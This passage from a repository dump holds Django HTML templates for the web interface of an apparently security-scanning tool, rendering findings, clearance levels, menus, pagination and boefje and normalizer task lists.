</td>\n                </tr>\n                {% include \"partials/ooi_report_findings_block_table_expanded_row.html\" with finding_type=findings.finding_type %}\n\n            {% endfor %}\n        </tbody>\n    </table>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n<tr class=\"expando-row\">\n    <td colspan=\"4\">\n        <span class=\"sr-only\">\n            {% blocktranslate with object_id=finding_type.id %}Details of {{ object_id }}{% endblocktranslate %}\n        </span>\n        <h1>{% translate \"Finding details\" %}</h1>\n        {% if finding_type.risk_severity == 'unknown' %}\n            <p class=\"warning\" role=\"group\" aria-label=\"{% translate \"warning\" %}\">\n                <span>{% translate \"Warning:\" %}</span>\n                {% blocktranslate trimmed %}\n                    The severity of this findingtype has not (yet) been determined by the data source. This situation requires\n                    manual investigation of the severity.\n                {% endblocktranslate %}\n            </p>\n        {% endif %}\n        <dl>\n            <div class=\"meta\">\n                <dt>{% translate \"Type\" %}</dt>\n                <dd>\n                    {{ finding_type.ooi_type }}\n                </dd>\n            </div>\n            <div>\n                <dt>{% translate \"Finding\" %}</dt>\n                <dd>\n                    <a href=\"{% ooi_url 'ooi_detail' finding_type.ooi_type|add:'|'|add:finding_type.id organization.code %}\">{{ finding_type.id }}</a>\n                </dd>\n            </div>\n            {% include \"partials/elements/definition_list_item.html\" with label=\"Description\" description=finding_type.description %}\n\n            <div>\n                <dt>{% translate \"Risk level\" %}</dt>\n                <dd>\n                    {{ finding_type.risk_score }} / 10\n                </dd>\n            </div>\n            {% include \"partials/elements/definition_list_item.html\" with label=\"Severity\" description=finding_type.severity %}\n            {% include \"partials/elements/definition_list_item.html\" with label=\"Impact\" description=finding_type.impact %}\n\n            {% if finding_type.source %}\n                <div>\n                    <dt>{% translate \"Source\" %}</dt>\n                    <dd>\n                        <a href=\"{{ finding_type.source }}\"\n                           target=\"_blank\"\n                           rel=\"noopener noreferrer\">{{ finding_type.source }}</a>\n                    </dd>\n                </div>\n            {% endif %}\n            {% include \"partials/elements/definition_list_items.html\" with items=finding_type.items exclude_keys=\"id,human_readable,ooi_type,description,risk_level_score,impact_description,source,findings,risk_level_severity\" %}\n\n        </dl>\n        <div>\n            <h2>{% translate \"Occurrences\" %}</h2>\n            <dl>\n                <div>\n                    <dt>{% translate \"Total occurrences\" %}</dt>\n                    <dd>\n                        {{ findings_list.meta.total_by_finding_type|get_item:finding_type.id }}\n                    </dd>\n                </div>\n            </dl>\n            <div>\n                <h3>{% translate \"Occurrence\" %}</h3>\n                {% for finding in findings.list %}\n                    <a href=\"{% ooi_url \"ooi_detail\" finding.ooi.id organization.code %}\">{{ finding.ooi.human_readable }}</a>\n                    <div id=\"{{ findings.grouper.id }}-{{ finding.ooi.id }}\">\n                        {% include \"partials/finding_occurrence_definition_list.html\" %}\n\n                    </div>\n                {% endfor %}\n            </div>\n            {% if findings_list.meta.total_by_finding_type|get_item:finding_type.id > 999 %}\n                {# not implemented yet #}\n                <div class=\"button-container\">\n                    <button class=\"ghost\">Show all (9001)</button>\n                    <button>Show more (+10)</button>\n                </div>\n            {% endif %}\n        </div>\n    </td>\n</tr>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_schedule.html",
    "content": "{% load i18n %}\n{% load static %}\n\n{{ value.deadline_at }}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_summary_block.html",
    "content": "{% load ooi_extra %}\n\n{% if tree_node.tree_meta.has_findings %}\n    <section>\n        <div>\n            {% if tree_node.tree_meta.has_findings and tree_node.tree_meta.depth > 1 %}\n                <h2>Findings for {{ tree_node.ooi_type }} {{ tree_node.human_readable }}</h2>\n            {% endif %}\n            {% for finding in tree_node.children %}\n                {% if finding.ooi_type == \"Finding\" %}\n                    {% include \"partials/ooi_summary_finding.html\" with parent=ooi_tree finding=finding %}\n\n                {% endif %}\n            {% endfor %}\n            {% if tree_node.tree_meta.depth > 1 %}\n                <h3>Details for {{ tree_node.ooi_type }} {{ tree_node.human_readable }}</h3>\n                <article class=\"is-indented\">\n                    <dl>\n                        {% for key, value in tree_node.items %}\n                            {% if key not in \"id,human_readable,tree_meta,children\" and value is not None %}\n                                <div>\n                                    <dt>{{ key }}</dt>\n                                    <dd>\n                                        {{ value }}\n                                    </dd>\n                                </div>\n                            {% endif %}\n                        {% endfor %}\n                    </dl>\n                </article>\n            {% endif %}\n            {% if \"Job\" in tree_node.tree_meta.child_ooi_types %}\n                <h3>Jobs that found {{ tree_node.human_readable }}</h3>\n                <article class=\"is-indented\">\n                    <p>These can include previous (older) jobs.</p>\n                    <nav>\n                        <ul>\n                            {% for job in tree_node.children %}\n                                {% if job.ooi_type == \"Job\" %}\n                                    <li>\n                                        <a href=\"{% ooi_url 'ooi_detail' 'Job|'|add:job.id organization.code %}\"\n                                           target=\"_blank\"\n                                           rel=\"noopener noreferrer\">{{ job.human_readable }}</a>\n                                    </li>\n                                {% endif %}\n                            {% endfor %}\n                        </ul>\n                    </nav>\n                </article>\n            {% endif %}\n        </div>\n    </section>\n{% endif %}\n{% for child in tree_node.children %}\n    {% if child.ooi_type not in \"Job,KATFindingType,CVEFindingType\" %}\n        {% include \"partials/ooi_summary_block.html\" with tree_node=child %}\n\n    {% endif %}\n{% endfor %}\n{% load ooi_extra %}\n\n{% if tree_node.tree_meta.has_findings %}\n    <section>\n        <div>\n            {% if tree_node.tree_meta.has_findings and tree_node.tree_meta.depth > 1 %}\n                <h2>Findings for {{ tree_node.ooi_type }} {{ tree_node.human_readable }}</h2>\n            {% endif %}\n            {% for finding in tree_node.children %}\n                {% if finding.ooi_type == \"Finding\" %}\n                    {% include \"partials/ooi_summary_finding.html\" with parent=ooi_tree finding=finding %}\n\n                {% endif %}\n            {% endfor %}\n            {% if tree_node.tree_meta.depth > 1 %}\n                <h3>Details for {{ tree_node.ooi_type }} {{ tree_node.human_readable }}</h3>\n                <article class=\"is-indented\">\n                    <dl>\n                        {% for key, value in tree_node.items %}\n                            {% if key not in \"id,human_readable,tree_meta,children\" and value is not None %}\n                                <div>\n                                    <dt>{{ key }}</dt>\n                                    <dd>\n                                        {{ value }}\n                                    </dd>\n                                </div>\n                            {% endif %}\n                        {% endfor %}\n                    </dl>\n                </article>\n            {% endif %}\n            {% if \"Job\" in tree_node.tree_meta.child_ooi_types %}\n                <h3>Jobs that found {{ tree_node.human_readable }}</h3>\n                <article class=\"is-indented\">\n                    <p>These can include previous (older) jobs.</p>\n                    <nav>\n                        <ul>\n                            {% for job in tree_node.children %}\n                                {% if job.ooi_type == \"Job\" %}\n                                    <li>\n                                        <a href=\"{% ooi_url 'ooi_detail' 'Job|'|add:job.id organization.code %}\"\n                                           target=\"_blank\"\n                                           rel=\"noopener noreferrer\">{{ job.human_readable }}</a>\n                                    </li>\n                                {% endif %}\n                            {% endfor %}\n                        </ul>\n                    </nav>\n                </article>\n            {% endif %}\n        </div>\n    </section>\n{% endif %}\n{% for child in tree_node.children %}\n    {% if child.ooi_type not in \"Job,KATFindingType,CVEFindingType\" %}\n        {% include \"partials/ooi_summary_block.html\" with tree_node=child %}\n\n    {% endif %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_summary_finding.html",
    "content": "<h3>Finding {{ finding.human_readable }}</h3>\n<article class=\"is-indented\">\n    <dl>\n        {% for key, value in finding.items %}\n            {% if key not in \"id,human_readable,tree_meta,children\" and value is not None %}\n                <div>\n                    <dt>{{ key }}</dt>\n                    <dd>\n                        {{ value }}\n                    </dd>\n                </div>\n            {% endif %}\n        {% endfor %}\n    </dl>\n    {% for finding_type in finding.children %}\n        {% if finding_type|is_finding_type %}\n            <h4>Info {{ finding_type.human_readable }}</h4>\n            <dl>\n                {% for key, value in finding_type.items %}\n                    {% if key not in \"id,human_readable,tree_meta,children\" and value is not None %}\n                        <div>\n                            <dt>{{ key }}</dt>\n                            <dd>\n                                {{ value }}\n                            </dd>\n                        </div>\n                    {% endif %}\n                {% endfor %}\n            </dl>\n        {% endif %}\n    {% endfor %}\n    <aside class=\"ooi-summary-risk-rating\">\n        <h5>Risk Rating</h5>\n        <span>99.99</span>\n    </aside>\n</article>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_tree_toolbar_bottom.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n<div class=\"horizontal-view\">\n    <a href=\"{% ooi_url \"ooi_tree\" ooi_id organization.code query=mandatory_fields view=\"condensed\" %}\"\n       class=\"button\">{% translate \"Tree - dense view\" %}</a>\n    <a href=\"{% ooi_url \"ooi_tree\" ooi_id organization.code query=mandatory_fields view=\"table\" %}\"\n       class=\"button\">{% translate \"Tree - table view\" %}</a>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/organization_member_list_filters.html",
    "content": "{% load i18n %}\n\n<div class=\"filter\">\n    <div>\n        <button aria-expanded=\"false\"\n                data-hide-filters-label='{% translate \"Hide filters\" %}'>\n            {% translate \"Show filters\" %}\n            {% if active_filters_counter > 0 %}\n                ({{ active_filters_counter }} {% translate \"applied\" %})\n            {% endif %}\n        </button>\n    </div>\n    <form method=\"get\">\n        {% include \"partials/form/fieldset.html\" with fields=member_filter_form %}\n\n        <input type=\"submit\" value=\"{% translate \"Update List\" %}\">\n    </form>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/organization_properties_table.html",
    "content": "{% load i18n %}\n\n<table>\n    <caption class=\"visually-hidden\">{% translate \"Organization details\" %}</caption>\n    <tbody>\n        <tr>\n            <td>{% translate \"Organization name\" %}</td>\n            <td>{{ organization.name }}</td>\n        </tr>\n        <tr>\n            <td>{% translate \"Organization code\" %}</td>\n            <td>{{ organization.code }}</td>\n        </tr>\n    </tbody>\n</table>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/organizations_menu_dropdown.html",
    "content": "{% load i18n %}\n\n{% if organizations_including_blocked|length > 0 %}\n    <div class=\"dropdown\">\n        <button aria-controls=\"change-organization\"\n                aria-expanded=\"false\"\n                class=\"dropdown-button ghost\">\n            {% if not organization.code %}\n                {% translate \"Select organization\" %}\n            {% else %}\n                {{ organization.name }}\n            {% endif %}\n            <span class=\"icon ti-chevron-down\"></span>\n        </button>\n        <div id=\"change-organization\" class=\"dropdown-list\">\n            <ul>\n                <li>\n                    <a href=\"{% url \"crisis_room\" %}\">{% translate \"All organizations\" %}</a>\n                </li>\n                {% for org in organizations_including_blocked %}\n                    {% if organization.code != org.code %}\n                        <li>\n                            <a href=\"{% url \"organization_crisis_room_landing\" org.code %}\">{{ org.name }}</a>\n                        </li>\n                    {% endif %}\n                {% endfor %}\n            </ul>\n        </div>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/page-meta.html",
    "content": "{% load i18n %}\n\n<section class=\"page-meta\">\n    <div class=\"{% if request.user.is_authenticated %}logged-in{% endif %}\">\n        {% if request.user.is_authenticated %}\n            <div class=\"login-meta\">\n                <p>\n                    {% translate \"Logged in as:\" %}\n                    {% if organization %}\n                        <a href=\"{% url \"account_detail\" organization_code=organization.code %}\">{{ request.user }}</a>\n                    {% else %}\n                        {{ request.user }}\n                    {% endif %}\n                </p>\n            </div>\n        {% endif %}\n        {% include \"partials/language-switcher.html\" %}\n\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/pagination.html",
    "content": "{% load i18n %}\n\n{% if page_obj %}\n    <nav class=\"pagination horizontal-view\">\n        <span class=\"current\">{% translate \"Page\" %} {{ page_obj.number }} {% translate \"of\" %} {{ page_obj.paginator.num_pages }}.</span>\n        {% if page_obj.has_previous %}\n            <a href=\"{% querystring page=1 %}\">« {% translate \"first\" %}</a>\n            <a href=\"{% querystring page=page_obj.previous_page_number %}\">{% translate \"previous\" %}</a>\n        {% endif %}\n        {% if page_obj.has_next %}\n            <a href=\"{% querystring page=page_obj.next_page_number %}\">{% translate \"next\" %}</a>\n            <a href=\"{% querystring page=page_obj.paginator.num_pages %}\">{% translate \"last\" %} »</a>\n        {% endif %}\n    </nav>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/scan_level_indicator.html",
    "content": "{% load static %}\n{% load i18n %}\n\n{% if value < 0 %}{{ choice.choice_label }}{% endif %}\n{% if value >= 0 %}\n    <ul class=\"level-indicator l{{ value }} {{ custom_class }}\">\n        {% get_scan_levels as scan_levels %}\n        {% for level in scan_levels %}<li></li>{% endfor %}\n    </ul>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/secondary-menu.html",
    "content": "{% load static %}\n{% load i18n %}\n\n{% if request.user.is_authenticated %}\n    <div data-button-open-label=\"{% if user.full_name %}{{ user.full_name|slice:\"1\"|upper }}{% else %}{{ user.email|slice:\"1\"|upper }}{% endif %}\"\n         data-button-close-label=\"{% if user.full_name %}{{ user.full_name|slice:\"1\"|upper }}{% else %}{{ user.email|slice:\"1\"|upper }}{% endif %}\"\n         data-open-label=\"{% translate \"User navigation\" %}\"\n         data-close-label=\"{% translate \"Close user navigation\" %}\"\n         data-media=\"(min-width: 100%)\"\n         data-button-classes=\"user-icon\"\n         aria-label=\"{% translate \"User navigation\" %}\"\n         class=\"collapsible user-nav\">\n        <div class=\"collapsing-element\">\n            <ul>\n                <li>\n                    {% url \"organization_list\" as index_url %}\n                    <a href=\"{{ index_url }}\"\n                       {% if index_url in request.path|urlencode %}aria-selected=\"true\"{% endif %}>\n                        {% translate \"My organizations\" %}\n                    </a>\n                </li>\n                {% if organization.code %}\n                    <li>\n                        {% url \"account_detail\" organization.code as index_url %}\n                        <a href=\"{{ index_url }}\"\n                           {% if index_url in request.path|urlencode %}aria-selected=\"true\"{% endif %}>{% translate \"Profile\" %}</a>\n                    </li>\n                {% endif %}\n                <li>\n                    <form method=\"post\" action=\"{% url 'logout' %}\" class=\"inline\">\n                        {% csrf_token %}\n                        <button type=\"submit\" class=\"button-link\">{% translate \"Logout\" %}</button>\n                    </form>\n                </li>\n            </ul>\n        </div>\n    </div>\n{% else %}\n    <div>\n        <ul>\n            <li>\n                <a href=\"{% url \"login\" %}\"\n                   {% if \"login\" in request.path|urlencode %}aria-current=\"page\"{% endif %}>{% translate \"Login\" %}</a>\n            </li>\n        </ul>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/skip-to-content.html",
    "content": "{% load i18n %}\n\n<a href=\"#main-content\" class=\"button focus-only\">{% translate \"Go to content\" %}</a>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/stepper.html",
    "content": "{% load i18n %}\n\n<div class=\"stepper\">\n    <ul>\n        {% if steps %}\n            {% for step in steps %}\n                {% if forloop.counter == current_step %}\n                    <li aria-label=\"current-step\">\n                        <a aria-current=\"true\" href=\"{{ step.url }}\">{{ step.text }}</a>\n                    </li>\n                {% elif forloop.counter > current_step %}\n                    <li aria-label=\"step\">{{ step.text }}</li>\n                {% else %}\n                    <li aria-label=\"step\">\n                        <a href=\"{{ step.url }}\">{{ step.text }}</a>\n                    </li>\n                {% endif %}\n            {% endfor %}\n        {% endif %}\n    </ul>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/rest_framework/api.html",
    "content": "{% extends \"rest_framework/base.html\" %}\n\n{% load static %}\n\n<!-- We override the script block here to be able to add the CSP nonce. When\ndjango-rest-framework makes changes to the loaded scripts we need to update\nthese here too. -->\n{% block script %}\n    <script type=\"application/json\" id=\"drf_csrf\" nonce=\"{{ request.csp_nonce }}\">\n  {\n      \"csrfHeaderName\": \"{{ csrf_header_name|default:'X-CSRFToken' }}\",\n      \"csrfToken\": \"{% if request %}{{ csrf_token }}{% endif %}\"\n  }\n    </script>\n    <script src=\"{% static \"rest_framework/js/jquery-3.7.1.min.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"rest_framework/js/ajax-form.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"rest_framework/js/csrf.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"rest_framework/js/bootstrap.min.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"rest_framework/js/prettify-min.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"rest_framework/js/default.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"rest_framework/js/load-ajax-form.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock script %}\n"
  },
  {
    "path": "rocky/rocky/templates/robots.txt",
    "content": "User-Agent: *\nDisallow: /\n"
  },
  {
    "path": "rocky/rocky/templates/scan.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Boefjes\" %}</h1>\n                <div class=\"horizontal-scroll\">\n                    <table>\n                        <caption class=\"visually-hidden\">{% translate \"Boefjes overview\" %}</caption>\n                        <thead>\n                            <tr>\n                                <th>{% translate \"Boefje\" %}</th>\n                                <th>{% translate \"Description\" %}</th>\n                                <th>{% translate \"Scan profile\" %}</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for boefje in boefjes %}\n                                <tr>\n                                    <td>\n                                        <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=boefje.id %}\">{{ boefje.name }}</a>\n                                    </td>\n                                    <td>{{ boefje.description }}</td>\n                                    <td>{{ boefje.scan_level.label }}</td>\n                                </tr>\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/scan_profiles/scan_profile_detail.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                {% include \"partials/ooi_head.html\" with ooi=ooi view=\"scan_profile_detail\" %}\n\n                <div class=\"introduction\">\n                    <div>\n                        <h2 rf-selector=\"clearance-header\">{% translate \"Clearance level\" %}</h2>\n                        <p>\n                            {% blocktranslate trimmed %}\n                                The clearance level determines the level of boefje scans allowed on this\n                                object. An object inherits its clearance level from neighbouring\n                                objects. This means that the clearance level might stay the same,\n                                increase or decrease, depending on other declared clearance levels.\n                            {% endblocktranslate %}\n                        </p>\n                    </div>\n                    <div>\n                        {% if perms.tools.can_set_clearance_level and organization_member.max_clearance_level >= ooi.scan_profile.level %}\n                            <button class=\"button ghost\" data-modal-id=\"edit-clearance-level-modal\">\n                                <icon aria-hidden=\"true\" class=\"icon ti-paw\"></icon>{% translate \"Edit clearance level\" %}\n                            </button>\n                        {% endif %}\n                    </div>\n                </div>\n                {% if ooi.scan_profile.scan_profile_type == \"empty\" %}\n                    <p class=\"explanation\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"Empty clearance level explanation\" %}\">\n                        <span>{% translate \"Empty:\" %}</span>\n                        {% blocktranslate trimmed %}\n                            This object has a clearance level of \"empty\". This means that this\n                            object has no clearance level.\n                        {% endblocktranslate %}\n                    </p>\n                {% endif %}\n                {% if not indemnification_present %}\n                    <p class=\"warning\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"Indemnification warning\" %}\">\n                        {% url \"organization_settings\" organization.code as organization_settings %}\n                        <strong>{% translate \"Warning\" %}</strong>: {% translate \"Indemnification is not set for this organization.\" %}\n                        {% translate \"Go to the\" %} <a href=\"{{ organization_settings }}\">{% translate \"organization settings page\" %}</a> {% translate \"to add one.\" %}\n                    </p>\n                {% endif %}\n                {% if not perms.tools.can_set_clearance_level %}\n                    <p class=\"warning\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"Set clearance level warning\" %}\">\n                        <strong>{% translate \"Warning\" %}</strong>:\n                        {% translate \"You don't have permissions to set the clearance level. Contact your administrator.\" %}\n                    </p>\n                {% elif organization_member.max_clearance_level < ooi.scan_profile.level %}\n                    <p class=\"warning\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"Scan warning\" %}\">\n                        <strong>{% translate \"Warning\" %}</strong>:\n                        {% blocktranslate trimmed with member_clearance_level=member.max_clearance_level boefje_scan_level=ooi.scan_profile.level %}\n                            You are not allowed to set the clearance level of this OOI. Your maximum clearance level is {{ member_clearance_level }} and this OOI has level {{ boefje_scan_level }}.\n                        {% endblocktranslate %}\n                        {% url \"account_detail\" organization.code as account_details %}\n                        {% translate \"Go to your\" %} <a href=\"{{ account_details }}\">{% translate \"account details\" %}</a> {% translate \"to manage your clearance level.\" %}\n                    </p>\n                {% endif %}\n                <form>\n                    <div>\n                        <label for=\"scan_indicator\">{% translate \"Current clearance level\" %}</label>\n                        {% if scan_profile_user %}\n                            <div class=\"horizontal-view\">\n                                {% include \"partials/scan_level_indicator.html\" with value=ooi.scan_profile.level.value custom_class=\"left\" %}\n\n                                ({{ ooi.scan_profile.scan_profile_type }})\n                                (by user \"\n                                {% if not scan_profile_user.is_active %}\n                                    <s title=\"{% translate \"Inactive\" %}\">{{ scan_profile_user }}</s>\n                                {% else %}\n                                    {{ scan_profile_user }}\n                                {% endif %}\n                                \")\n                            </div>\n                        {% else %}\n                            <div class=\"horizontal-view\">\n                                {% include \"partials/scan_level_indicator.html\" with value=ooi.scan_profile.level.value custom_class=\"left\" %}\n\n                                ({{ ooi.scan_profile.scan_profile_type }})\n                            </div>\n                        {% endif %}\n                    </div>\n                </form>\n                {% if indemnification_present and organization_member.max_clearance_level >= ooi.scan_profile.level %}\n                    {% include \"partials/edit_ooi_clearance_level_modal.html\" with type=\"ooi_detail\" %}\n\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n    <script src=\"{% static \"js/choiceToggle.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/boefje_task_detail.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>\"{{ task.data.boefje.id }}\" @ {{ task.data.input_ooi }}</h1>\n                <h2>{{ task.created_at }}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        An overview of the boefje task, the input OOI and the RAW data it generated.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n            <div>\n                <h2>RAW file</h2>\n                {% if task.status.value in \"completed,failed\" %}\n                    <a href=\"{% url 'bytes_raw' organization_code=organization.code boefje_meta_id=task.id %}\">{% translate \"Download meta and raw data\" %}</a>\n                {% else %}\n                    <a href=\"{% url 'download_task_meta' organization_code=organization.code task_id=task.id %}\">{% translate \"Download meta data\" %}</a>\n                {% endif %}\n            </div>\n            <div>\n                <h2>{% translate \"Input object\" %}</h2>\n                <p>\n                    <a href=\"{% ooi_url 'ooi_detail' task.data.input_ooi organization.code %}\">{{ task.data.input_ooi }}</a>\n                </p>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block script %}\n    {{ block.super }}\n{% endblock script %}\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/boefjes.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"tasks/partials/tasks_overview_header.html\" %}\n            {% include \"tasks/partials/tab_navigation.html\" with view=\"boefjes_tasks\" %}\n\n            {% if not task_list %}\n                <div>\n                    <h2>{% translate \"Boefjes\" %}</h2>\n                    <p>{% translate \"There are no tasks for boefjes.\" %}</p>\n                </div>\n                {% include \"tasks/partials/task_filter.html\" %}\n\n            {% else %}\n                <div>\n                    <h2>{% translate \"Boefjes\" %}</h2>\n                    <p>{% translate \"List of tasks for boefjes.\" %}</p>\n                </div>\n                <div class=\"horizontal-scroll sticky-column\">\n                    {% include \"tasks/partials/task_filter.html\" %}\n\n                    <table rf-selector=\"table-scan-history\" class=\"nowrap\">\n                        <thead>\n                            <tr>\n                                {% if not organization.code %}\n                                    <th scope=\"col\">{% translate \"Organization Code\" %}</th>\n                                {% endif %}\n                                <th scope=\"col\">{% translate \"Boefje\" %}</th>\n                                <th scope=\"col\">{% translate \"Status\" %}</th>\n                                <th scope=\"col\">{% translate \"Created date\" %}</th>\n                                <th scope=\"col\">{% translate \"Modified date\" %}</th>\n                                <th scope=\"col\">{% translate \"Input Object\" %}</th>\n                                <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for task in task_list %}\n                                <tr data-task-id=\"{{ task.id }}\"\n                                    data-task-type=\"{{ task.type }}\"\n                                    data-task-status=\"{{ task.status.value }}\"\n                                    {% if not organization %}data-organization-code=\"{{ task.data.organization }}\"{% endif %}>\n                                    {% if not organization.code %}\n                                        <td>\n                                            <a href=\"{% url \"organization_crisis_room_landing\" task.data.organization %}\">{{ task.data.organization }}</a>\n                                        </td>\n                                    {% endif %}\n                                    <td>\n                                        <a href=\"{{ request.path }}?plugin_id={{ task.data.boefje.id }}\"\n                                           title=\"{% translate \"Filter on this plugin\" %}\"><i class=\"icon filter\"></i></a>\n                                        <a href=\"{{ request.path }}{% querystring plugin_id=task.data.boefje.id %}\"\n                                           title=\"{% translate \"Add filter on this plugin\" %}\"><i class=\"icon filteradd\"></i></a>\n                                        <a href=\"{% url \"boefje_detail\" task.data.organization task.data.boefje.id %}\">{{ task.data.boefje.name }}</a>\n                                    </td>\n                                    <td>\n                                        <i class=\"icon {{ task.status.value }}\"></i>\n                                        <a href=\"{{ request.path }}?status={{ task.status.value }}\"\n                                           title=\"{% translate \"Filter on this status\" %}\">{{ task.status.value|capfirst }}</a>\n                                        <a href=\"{{ request.path }}{% querystring status=task.status.value %}\"\n                                           title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                    </td>\n                                    <td>{{ task.created_at }}</td>\n                                    <td>{{ task.modified_at }}</td>\n                                    <td>\n                                        <a href=\"{{ request.path }}?ooi_id={{ task.data.input_ooi }}\"\n                                           title=\"{% translate \"Filter on this ooi\" %}\"><i class=\"icon filter\"></i></a>\n                                        <a href=\"{{ request.path }}{% querystring ooi_id=task.data.input_ooi %}\"\n                                           title=\"{% translate \"Add filter on this ooi\" %}\"><i class=\"icon filteradd\"></i></a>\n                                        <a href=\"{% ooi_url \"ooi_detail\" task.data.input_ooi task.data.organization observed_at=task.created_at|date:'c' %}\">{{ task.data.input_ooi }}</a>\n                                    </td>\n                                    <td class=\"actions sticky-cell\">\n                                        <button type=\"button\"\n                                                class=\"expando-button boefjes-task-list-table-row\"\n                                                data-icon-open-class=\"icon ti-chevron-down\"\n                                                data-icon-close-class=\"icon ti-chevron-up\"\n                                                data-close-label=\"{% translate \"Close details\" %}\">\n                                            {% translate \"Open details\" %}\n                                        </button>\n                                    </td>\n                                </tr>\n                                <tr class=\"expando-row\">\n                                    <td colspan=\"{% if not organization.code %}7{% else %}6{% endif %}\">\n                                        {% include \"tasks/partials/task_actions.html\" %}\n\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n                {% include \"partials/list_paginator.html\" %}\n\n            {% endif %}\n        </section>\n        {% include \"tasks/partials/stats.html\" %}\n\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/taskDetails.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/tabs.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/normalizers.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"tasks/partials/tasks_overview_header.html\" %}\n            {% include \"tasks/partials/tab_navigation.html\" with view=\"normalizers_tasks\" %}\n\n            {% if not task_list %}\n                <div>\n                    <h2>{% translate \"Normalizers\" %}</h2>\n                    <p>{% translate \"There are no tasks for normalizers.\" %}</p>\n                </div>\n                {% include \"tasks/partials/task_filter.html\" %}\n\n            {% else %}\n                <div>\n                    <h2>{% translate \"Normalizers\" %}</h2>\n                    <p>{% translate \"List of tasks for normalizers.\" %}</p>\n                </div>\n                <div class=\"horizontal-scroll sticky-column\">\n                    {% include \"tasks/partials/task_filter.html\" %}\n\n                    <table rf-selector=\"table-scan-history\" class=\"nowrap\">\n                        <thead>\n                            <tr>\n                                {% if not organization.code %}\n                                    <th scope=\"col\">{% translate \"Organization\" %}</th>\n                                {% endif %}\n                                <th scope=\"col\">{% translate \"Normalizer\" %}</th>\n                                <th scope=\"col\">{% translate \"Status\" %}</th>\n                                <th scope=\"col\">{% translate \"Created date\" %}</th>\n                                <th scope=\"col\">{% translate \"Modified date\" %}</th>\n                                <th scope=\"col\">{% translate \"Boefje\" %}</th>\n                                <th scope=\"col\">{% translate \"Boefje input OOI\" %}</th>\n                                <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for task in task_list %}\n                                <tr data-task-id=\"{{ task.id }}\"\n                                    data-task-type=\"{{ task.type }}\"\n                                    data-task-status=\"{{ task.status.value }}\"\n                                    {% if not 